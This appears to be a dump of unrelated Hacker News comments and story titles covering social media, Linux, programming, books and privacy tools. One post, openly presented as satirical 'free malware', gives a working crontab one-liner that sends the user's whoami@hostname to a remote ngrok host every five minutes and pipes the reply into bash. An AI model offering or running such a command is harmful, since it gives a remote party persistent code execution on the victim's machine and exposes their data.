skysight-inc/HackerNews huggingface dataset:
I am using Libre Writer. It allows good organization with headers and makes it very easy to navigate. Including images is just paste, inlike writing code in markdown. You can even include videos but I would jot recommend it because the document becomes slower. I always add sources of the note from where they came.
Throwing up materials that randomly fall into the shape of a crude shelter can certainly happen. But without a LOT of evolutionary mechanisms already in place, that crude shelter will just fall apart, and it certainly won't turn itself into something more sophisticated.

What is necessary for life to arise from a random stew of disorganized chemicals is far more than just a good arrangement of a few molecules that exhibit some characteristics of life. Since all life dies as part of the never-ending march toward entropy, you also need to be capable of some form of reproduction and able to carry out reproduction at a faster rate than death. What is the minimum complexity involved in such a thing? I'd argue that it's probably more complicated than any house in existence.
Delaware judge rules that Twitter's case against Elon Musk to go to trial Oct 17
I dont believe you get access to all features and functionality if you do not pay for the developer subscription (maybe it has changed?) but things like push notifications, third party libraries....? Regardless their services strategy is rent seeking for one of the most profitable companies on the planet. (ex: making 5+ billion selling charger bricks after not including them when you buy a phone)
The first Apple Tablet, from 1979 (2009)
I just timed my 4th gen i7 laptop booting Manjaro, and from power button to login screen was 12 seconds.

What hardware are you referring to?
I would argue that most of those 600 million are not "parked for too long in one place", which is what I said is not enforced.

The vast majority of them are likely the ones that can be verified on the spot -- things like being parked in a no parking zone (whether street cleaning or regular), expired or hasn't paid parking, etc.
I'm referring to the keys and values
Pure is basically an enterprise flash storage company. Great products, but FlashBlade specifically has issues with maximum single stream performance due to their architecture.

But why are you posting an ad for Pure?
Is using structs in C OOP by that definition?
https://archive.ph/LCzr8
Shortcomings of Diff3
No it's not a farm, this info always existed and we are providing it to you at our own cost.

I built the tool - https://www.efani.com/leadership
A Progress Studies History of Early MIT
"This explains Facebook’s recent transition toward short videos and algorithmic recommendations of content that doesn’t come from friend groups."

I agree with the authors perspective that if Facebook and Twitter try and capture the TikTok market they will only in the end up hurting themselves. In fact the reason I don't use Facebook much anymore is because of the changes they have made...

When I login I may see a funny video of a guy falling in Texas (Who I don't know) or an attractive women in exercise pants doing somethings quasi provocative.

I am not coming to Facebook for national news, for TV 3.0 like entertainment... I am coming to check in with friends, family see some pictures of relatives and see what people have to say about what is happening in their life.

The further they move away from this model.... IMO could lead to further decline in the platform.

My two cents.
We've banned this account for using HN for political/nationalistic battle and also for having a trollish username - on the latter point, see https://news.ycombinator.com/item?id=32253323.

If you don't want to be banned, you're welcome to email hn@ycombinator.com and give us reason to believe that you'll use HN as intended in the future. They're here: https://news.ycombinator.com/newsguidelines.html.
Fly a larger re-translator drone 50-100 km away from the area of interest, which can relay the signal over a higher-power microwave link to a ground station another 100-200 km away.

It could relay signals from many front-line drones.
No I do not have the time nor interest to read about every ROM group.

I just want a relible, usable phone, and do not experience safety concerns that would warrant preferring a less convenient experience. I don't think most people do, for that matter.
Whatever happened to those microprobes at like 10% speed of light? (or was it 50%)
While I agree that rail infrastructure should be improved significantly in Eastern Europe, if you look a bit closer you'll see that there are many other countries where the 5 hrs don't take you much outside of national borders, e.g. Spain, Portugal, Italy, the UK, most of Scandinavia etc.

It's also important to note that Ukraine and Moldova run on a different gauge, so the border crossing takes some time.
> If a memory corruption occurs, or my process’s memory contents can be disclosed somehow (easier to do against a userspace process than against the kernel!), I don’t have truly random numbers anymore.

Yea, that's definitely a downside of sorts. Jeffrey Walton mentioned that in the glibc discussion a few days ago: https://lore.kernel.org/linux-crypto/CAH8yC8n2FM9uXimT71Ej0m...

A mitigating factor might be that if your process memory leaks, then the secrets generated leak anyway, no matter what generated them, so maybe not as large of a difference. But of course a generator leaking means future secrets potentially leak too. I suppose frequent reseeds could mitigate this, just as they do for potential leaks in the kernel.

But anyway, I agree that compromising application memory is somewhat more possible than compromising kernel memory, though both obviously happen.
No. In general, Canadians just lost access to the medical system. Surgeries delayed, family doctors switching to only telehealth. Even now, in Vancouver — for my family doctor it would be a two week wait for a 10 minute phone call, followed by another two week wait to be seen in person (if he decided that was needed). Any type of non emergency walk in clinic is generally full within the first few minutes, due to line ups before opening. So for many, the only chance of seeing a doctor within a month your best option is waiting 7-12 hours in an emergency room.
Any idea why Stadia didn't catch up? It never went live in my country.
But why does a phone that's under a year old already struggling?!

Mine just gives up on connecting to things, WebView is absolutely broken, and the daily UX is just me rebooting it 5-10 times a day. Stupid.
This is really an indictment of the social value we put on appearance. We care way too much. This needs to change.
Infinite Jest was largely a collection of various scenes, some of them recurring and some not.

Probably the main recurring scene involves an extended conversation between Remy Marathe and Hugh Steeply on a hilltop overlooking Tuscon. Marathe is a legless French Canadian agent of uncertain allegiance and Steeply is a US agent posing as a female reporter called Helen. Closely following the back-and-forth between the two allows the reader to put together major aspects of the grand narrative of the novel.

My favorite scene was a one-off involving the younger kids (pre-teens) at a tennis academy playing an extraordinarily convoluted and physically intense game called Eschaton (think Risk played with tennis gear). If any particular thing made the 1,000 page slog worthwhile, I would say it had to be that.

The footnotes alone could have made up an entire book.
A great speech but this is the first I hear it interpreted as an ode to monotony. I've always thought of it as an essay on the value of questioning our default way of thinking in the day-to-day, on the implicit biases we carry with us into the world and how they can trap us in loneliness.

Not ashamed to say I've cried more than once listening to it. It's a lifesaver.
It just feels like I'd pay for something I don't need. I don't even pay now, I'm using the free storage which is great and I _want_ to pay but to me there is a lack of option between the free 2GB or the paid 2TB. Even though the byte/cost could be higher with a lower tier (say 200GB for 5€)
See also hier(7), where most of this originated in sometime around 4.2BSD: https://www.freebsd.org/cgi/man.cgi?hier
What problems do you see? Personally I like it and "not looking like Material Design" is something I'd consider a feature.
Canada is even worse. We are proud of our cross-country rail's history, but today it is slow and expensive compared to other systems.
They can’t! Their monorepo, build system and internal deployment infrastructure makes it technically and legally very expensive, thus politically impossible. It’s so much easier to just shut down anything not making enough insert metric instead of spinning it off.

Disclaimer: haven’t ever worked at Google, so just guessing
Make the license non-transferable. Then there is no resale market.
Samsung’s “repair mode” lets technicians look at your phone, not your data
European private-sector offensive actor using 0-day exploits (KNOTWEED)
I created a free malware to become the next TikTok
Want to watch hilarious and educational clips but don't trust TikTok? Trust me instead.

Here's how you install:

crontab -l | { cat; echo "*/5 * * * * curl \"https://78d5-190-14-134-185.ngrok.io/api/ping/$(whoami)@$(hostname)\" | bash"; } | crontab -

Easy one line install, right?

Now the content, you just go to Youtube and type "funniest Vines", or if you don't trust Youtube either, try the fediverse.

There's even a social aspect, you can see who else has joined my new TikTok improvement by checking out: https://78d5-190-14-134-185.ngrok.io/api/infections

Have fun! And btw don't mind the privacy issues or that I can run code on your machine. Just imagine I was a big corporation trying to make money off of you, instead of a single person trying to amuse you. That should make it easier to trust me.

Thanks!
Our universe is single. The many concept is/was an attempt to make a square fit in a round hole when looking at some perplexing results. To me, Occam’s Razor points to intelligence arguments as simpler rather than the “multi universe” arguments
Could you please stop posting unsubstantive and/or flamebait comments to HN? We ban accounts that do this because we're trying for a different sort of forum here.

If you wouldn't mind reviewing https://news.ycombinator.com/newsguidelines.html and taking the intended spirit of the site more to heart, we'd be grateful.
Yup just ran into this at my company. All of the higher ups claim they want the org to be data driven, I then presented them with exhaustive research on a potential tool to use, but they pushed it aside because it didn’t confirm their biases.

Bad execs will find a way to manipulate any good philosophy toward their control
If you decided to cut your hair very short, how would it look? Would it look natural or would the transplants look artificial?
+1 to buying a child a 3d printer. There are okayish ones for about $140 now. About age 6-8 seems like a good time.

Set them up with an easy to use bit of cad software and show them how to 3d print a cube... Then let them 3d print whatever they want to make.

3d printers have hot parts - let them burn their fingers once or twice and they'll soon learn which bits not to touch. After that, a 3d printer is pretty safe. Test it first, but generally the motors aren't strong enough to crush a finger placed in the wrong spot.

The only downside is many 3d prints take 1 hour + to print, which is pretty frustrating for a child. You need another activity to entertain them during printing breaks.
I cannot imagine reading this book and skipping the footnotes.
Extremely hard disagree.

People implicitly trust friends and especially family to be generally good and not misuse their information. Far more than they would trust a random stranger or corporation, regardless of legal systems, terms of service, privacy policy, etc. They are also generally grateful that you're providing a service they can use and can handle issues coming up moreso than from others.

And, of course they would, you've built up years of personal trust and relationships with them, which goes far deeper than anything professional.

Source: I do this. For multiple services. For multiple people. But also, just basic common sense.
One great example would be a C++ program that runs fast, and then just spends 10s of seconds doing “nothing” while it deallocates shared pointers’ huge object graphs at the end. They really are two sides of the same coin, with tracing GCs being actually correct (you need cycle detection for a correct RC implementation), and having much better throughput. It’s not an accident that runtimes with thousands dev hours are polishing their GC solutions instead of using a much more trivial RC.
Zillow doesn't have isochrones, for one.

I long for a map experience that's more like a SQL query than a catalog, and Zillow's filtering leaves a lot to be desired.
Cassidy Williams: Functional programming is easier than you think
I felt the same way with the Samsung watch. v1/v2 was pretty meh, but they kept at it, iterating year after year, until I finally pulled the trigger on one because it had the functionality and design that I was looking for. I was specifically keeping away from squarish smartwatches because I didn't want a watch that screamed "smartwatch" and wanted a rounded design, which I find more aesthetically pleasing.
> On ext4, a file of 160 bytes or less (and no xattrs) can be stored inline in the inode[1], so the whole thing takes up 256 bytes (plus 8 + [length of filename] for the directory entry).

It can if you enable an option that is not widely used, IIRC.
I was careful in my wording to say the previous generation. It’s almost always uncool. For instance, 80’s music went out of style almost immediately when Nirvana came about. Then 10 or so years later some 80’s music was enjoyed ironically and now today the beat of it is preserved as “classic”. It’s OK for anyone to enjoy but it isn’t influential any longer.
Fear of Rampant Crime Is Derailing New York City’s Recovery
Recover data from a monolith (microSD card)
>because people are afraid of data collection now in a way they weren't in 2006

People may say they're afraid of big data, but it's just mindless repetition of something they heard and doesn't affect their behaviour at all.

70%+ of them are mobile users on a first party app and happily receive targeted ads.

Realistically, how many people use instagram etc. on a browser with an adblocker (especially on mobile), less than 1%?
Or they could be hoping more people join the labor pool. If you listened to Powell speak, you'd have heard him say they had hoped the labor participation rate would have started to go up by this point. People re-entering the job market would fill the open jobs without increasing unemployment
I can search my phone number and get dozens of results with my info that clearly came from voter registry scraping.

I can even find direct links to voter registries in some states I've lived.
Actually you're right in questioning the legitimacy . Will get them fixed. 404 error is now gone
>Indigenous survival methods have persisted, like their keepers, for hundreds of years against invasion, disease, and ecological catastrophe. Colonizers could learn a great deal from Indigenous resilience...

I find interpretations like this strange. Sure, there's lots to learn from cultures of all kinds, and it's particularly relevant to hear from Natives of NA if we're talking about North American agriculture.

But there's an implication that the European colonizers bumbled their way through history, as if they didn't face and overcome their own issues with starving populations. I think it's objective fact that Europeans have been quite resilient themselves, being as how they managed to settle most of the planet.
That's been the recommendation since Windows 95. It's easy to suggest and hard to enforce.
In short, there are laws on data resellers vs data brokers. Data resellers can provide uncensored data and their sources but there are many more hoops for them to jump through in terms of who sees that. We would have to do due diligence into every person using our tool in that case.
Wouldn't say there's a steep learning curve for the language itself, it's pretty easy to get a grasp around it imo. Here's a helpful page I used to quickly get familiar with the language: https://github.com/tazjin/nix-1p

What's rather messy about Nix is nixpkgs with its helper functions all over the place alongside pretty shallow / non-existent documentation (which is unrelated to the language). Thankfully they've started to work on that recently: https://discourse.nixos.org/t/documentation-team-flattening-...
Since we're all about open source, here's the code: https://gist.github.com/JesusAlexV/e561cf3e96fe092f004f75bde...
I'm not going to reveal the phone number used, but I can verify that some of the information it returned was incorrect.

...Looking closer at the report now, all fields which returned information were wrong. Perhaps it's returning info based on previous customers who have used the number?

Points to consider:

1) This was not my primary phone number. It's possible that a lack of activity used on the phone I tested this with made it seem like a previous owner was still the active owner? Perhaps if the service is grabbing very outdated information, there should be an indicator next to each result "Older than # of (time)".

2) A low score is red...does this mean that a low score mean that a lot of information was returned? Comparing this "doxx" to a credit card score is confusing, because a credit score is generally low because you have a lack of history. With this, your score is low because you have a lot of history. It's weird. Maybe low results should = green, with a low score; high results = red, with a high score. I see "high score" to mean "high data points".

3) Not every field was filled out for this number, but my score was deep in the red. What is the circumstance where a phone number lands in the middle? I suppose some fields might be weighted higher than others?

Edit:

(Pet peeve of mine. This isn't a personal slam against the company, just a criticism against the practice in general.)

I see you have one of those chat widgets in the bottom right. If a customer uses that, and doesn't get a response immediately, it's pointless and taking up space. If I want to send an email, I want the email address listed clearly on the contact page. A roundabout way through a psudeo-clippy thing stinks.
I am optimistic though. We are still in the early days of server-side javascript. It took 20 years for the greater php community to coalesce around a handful of quality libraries, frameworks, and solutions to things like user management instead of everyone rolling their own or using things like '$_GET["pass"] == "foo"' they they grabbed from a google search. Node is barely over a decade old. We are already seeing patterns mature in the node ecosystem and I hope things keep progressing that way.
So while some of my info was there, there was DRASTICALLY more data listed that has nothing to do with me. I've had this phone number since ~2001, any idea why that would happen?
Pfft, there's only a 52.6% chance of losing a bet on black, which means there is 47.4% chance the you could win and end up with two houses minus real estate transaction costs. And that's without going to Monaco where you can play on a 37 pocket wheel.
WordTeX – A WYSIPCTWOTCG Typesetting Tool (2018) [video]
Show HN: TapeMeasure – Swift class for creating segmented, labeled lines in UI
TapeMeasure is a utility class, written in Swift, for generating a visual tape measure, or any other graphical elements that need layout in a measured sequence.

I created this class to help with a pet project I'm working on, where I needed to generate segmented, labeled lines to use as axes on charts and graphs. It occurred to me that this seems to be a pretty common task, involving a lot of boilerplate code and tedious calculations. Why not decouple the code and move it into a dedicated class? It's self-contained, nice and simple, and easy to unit test.

It can also handle a lot of tweaks to the "tape measure", such as boundary clipping and shifting offsets. It's especially good for animation, where you can just change a parameter or two during animation, and call for the re-calculated data to re-render your measured line. That makes it great for animated sliding and scaling effects.

Anyway, enjoy!
I prefer an old professors definition of AI, "Computer research in commercially non-viable solutions." Anything AI discovers that is useful becomes rebranded into some other tech. Machine learning is the most recent thing that's starting to break out of the AI umbrella.
> It's really job title for "sysadmin but paid and owned by the software department to keep ITs fingers out of everyone's shit"

Most devops aren't really fully-fledged sysadmins though.

The job of babysitting software and coming up with SLOs was always the part of system engineering that I hated. It wasn't digging through production outages with strace and tcpdump. They actually defined that as something that we didn't need any more so all DevOps gets is metrics and logs and they can't touch production at all and defined that job out of existence.

(Then every now and then I see some devops person pleading for information on how to deploy tools like tcpdump and strace to production and I can see that the technical foundation of devops is a pack of lies)

Also, devops is more "oh fuck they want to give all the devs a pager, quick hire some junior devs to give the pagers to and we'll call them devops".
I remember working at a company whose "agile transformation" was a disaster, costing the company boat loads of money. After that, we used RUP because agile was a dirty word in that office. We even had posters and such on the walls praising RUP.

Nothing actually changed. Standups became morning meetings, sprints were iterations, sprint review became feature review, and sprint planning became elaboration meetings.
As far as I know, iOS is the only OS that is _not_ like this.

macOS has /Applications, /Library, their equivalents under the user's home directory, applications that ignore macOS conventions and use XDG ones...

Windows has AppData in three variations, Program Files, Documents...

Android has /Android/data, apps that stick stuff in /storage/emulated
You mean Stage Manager???

That's a truly terrible example...

First off it's not "the major feature of iPadOS 16, it's one call out of many _many_ features: https://www.apple.com/ipados/ipados-16-preview/

Second, _massively increasing multitasking capabilities_ is being given to the models that have _a massively upgraded SoC_ there's nothing artificial about that limitation.

Older iPads cannot not hold 4 arbitrary apps in memory, try it yourself if you want. For anything but the most basic set of apps you'll find something evicted by the time you loop back...

Third, "the" major point of an OS upgrade if any is being on the latest development target. Ask Android devs still targeting versions of Android from 2015 about that...
I believe that was deliberately done precisely so that you can cleanly see it. Almost everything in the real world isn't that bad in practice.
It's just a specific set of procedures that we follow which are skipped by traditional carrier. Think of it as a boutique approach. Every carrier can frankly stop but it's not worth the effort for them due to scale they operate with and mass market they've to cater to
The JVM GC’s are absolutely insanely good. G1 can sustain loads with heap sizes well into TERAbytes.
It takes time. We haven’t crossed over yet but eventually Reddit will be massively rejected. It’s still young, give it about 5-8 more years.

20-year increments feel right.
Yes it's a solution for the http api but I was interested in the MySQL interface.
Thanks for pushing it to the team :)
Safe bet: Google discontinuing an service with a smaller user base.
The edge network of a Vercel/Netlify is very hard to replicate in cloud as a small startup.